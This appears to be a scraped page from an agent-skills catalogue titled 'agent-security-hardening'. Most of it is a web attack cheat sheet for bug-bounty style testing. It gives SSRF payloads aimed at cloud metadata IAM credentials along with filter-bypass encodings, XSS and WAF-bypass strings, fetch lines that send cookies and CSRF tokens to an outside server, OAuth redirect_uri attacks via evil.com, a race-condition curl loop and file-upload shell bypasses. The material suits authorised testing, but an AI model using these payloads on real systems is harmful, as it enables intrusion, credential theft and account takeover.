agent-security-hardening
AFaffaan-m/ECC278k4,046 new stars in the last 7 days
Setup: Two accounts (attacker + victim). Log in as both.
Test pattern:
Expand:
node(id: "base64") queriesKill signals: All endpoints return 403 with wrong ID, UUIDs without enumeration path.
Test pattern:
X-HTTP-Method-Override: GET on POST/api/admin/./users, /api/v2/../v1/admin//Api/Admin/UsersSibling check: If one endpoint in a controller has auth bypass, test ALL siblings.
Find injection points: URL parameters, webhook URLs, file import, image fetch, PDF generation.
Test sequence:
https://YOUR_OOB_SERVER → confirm DNS callbackhttp://169.254.169.254/latest/meta-data/.../iam/security-credentials/ROLE_NAMEhttp://localhost:8080, http://10.0.0.1Bypass filters:
http://127.0.0.1 → http://0x7f000001 → http://2130706433 → http://017700000001
http://169.254.169.254 → http://[::ffff:169.254.169.254]
DNS rebinding: register domain that resolves to 169.254.169.254
Open redirect chain: https://target.com/redirect?to=http://169.254.169.254
Context matters more than payload:
<img src=x onerror=alert(1)>" onfocus="alert(1)" autofocus="';alert(1)//{{constructor.constructor('alert(1)')()}}Impact proof (alert is NOT enough):
fetch('https://server/?c='+document.cookie) // cookie theft
new Image().src='https://server/?t='+document.querySelector('[name=csrf]').value // CSRF token
WAF bypass quick list:
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<math><mtext><table><mglyph><style><!--</style><img src onerror=alert(1)>
High-value targets: Coupon application, balance transfer, vote counting, rate limits, account creation bonuses.
Test: Send 20+ identical requests in parallel:
seq 1 20 | xargs -P 20 -I {} curl -s "https://target/api/apply-coupon" \
-H "Authorization: Bearer TOKEN" -d '{"code":"DISCOUNT50"}'
If coupon applied multiple times → race confirmed.
Recon: Check /graphql, /api/graphql, /graphql/v1.
Introspection (informational alone — need auth bypass to report):
{"query":"{ __schema { types { name fields { name } } } }"}
Real bugs: Auth bypass on mutations (test without auth), IDOR via node(id), batch queries bypassing rate limits, nested query DoS.
Check: redirect_uri manipulation, PKCE enforcement, state parameter, code reuse.
redirect_uri bypass attempts:
redirect_uri=https://evil.com
redirect_uri=https://target.com.evil.com
redirect_uri=https://target.com/callback/../redirect?to=evil.com
redirect_uri=https://target.com/callback%[email protected]
Can't automate — requires understanding the application:
Extension bypass:
shell.php → shell.php.jpg → shell.pHp → shell.php%00.jpg → shell.php;.jpg
Content-type bypass: Set image/png but upload PHP/HTML content.
Magic bytes: Prepend GIF89a to PHP file.
SVG XSS: <svg onload="alert(1)"> in SVG upload.
AFaffaan-m/ECC278k4,046 new stars in the last 7 days
DIDietrichGebert/ponytail162k5,405 new stars in the last 7 days
DIDietrichGebert/ponytail162k5,405 new stars in the last 7 days
DIDietrichGebert/ponytail162k5,405 new stars in the last 7 days
GAgarrytan/gstack136k883 new stars in the last 7 days
Harden code against the OWASP Top 10: input handling, authentication, sessions and dependencies.
ADaddyosmani/agent-skills106k3,628 new stars in the last 7 days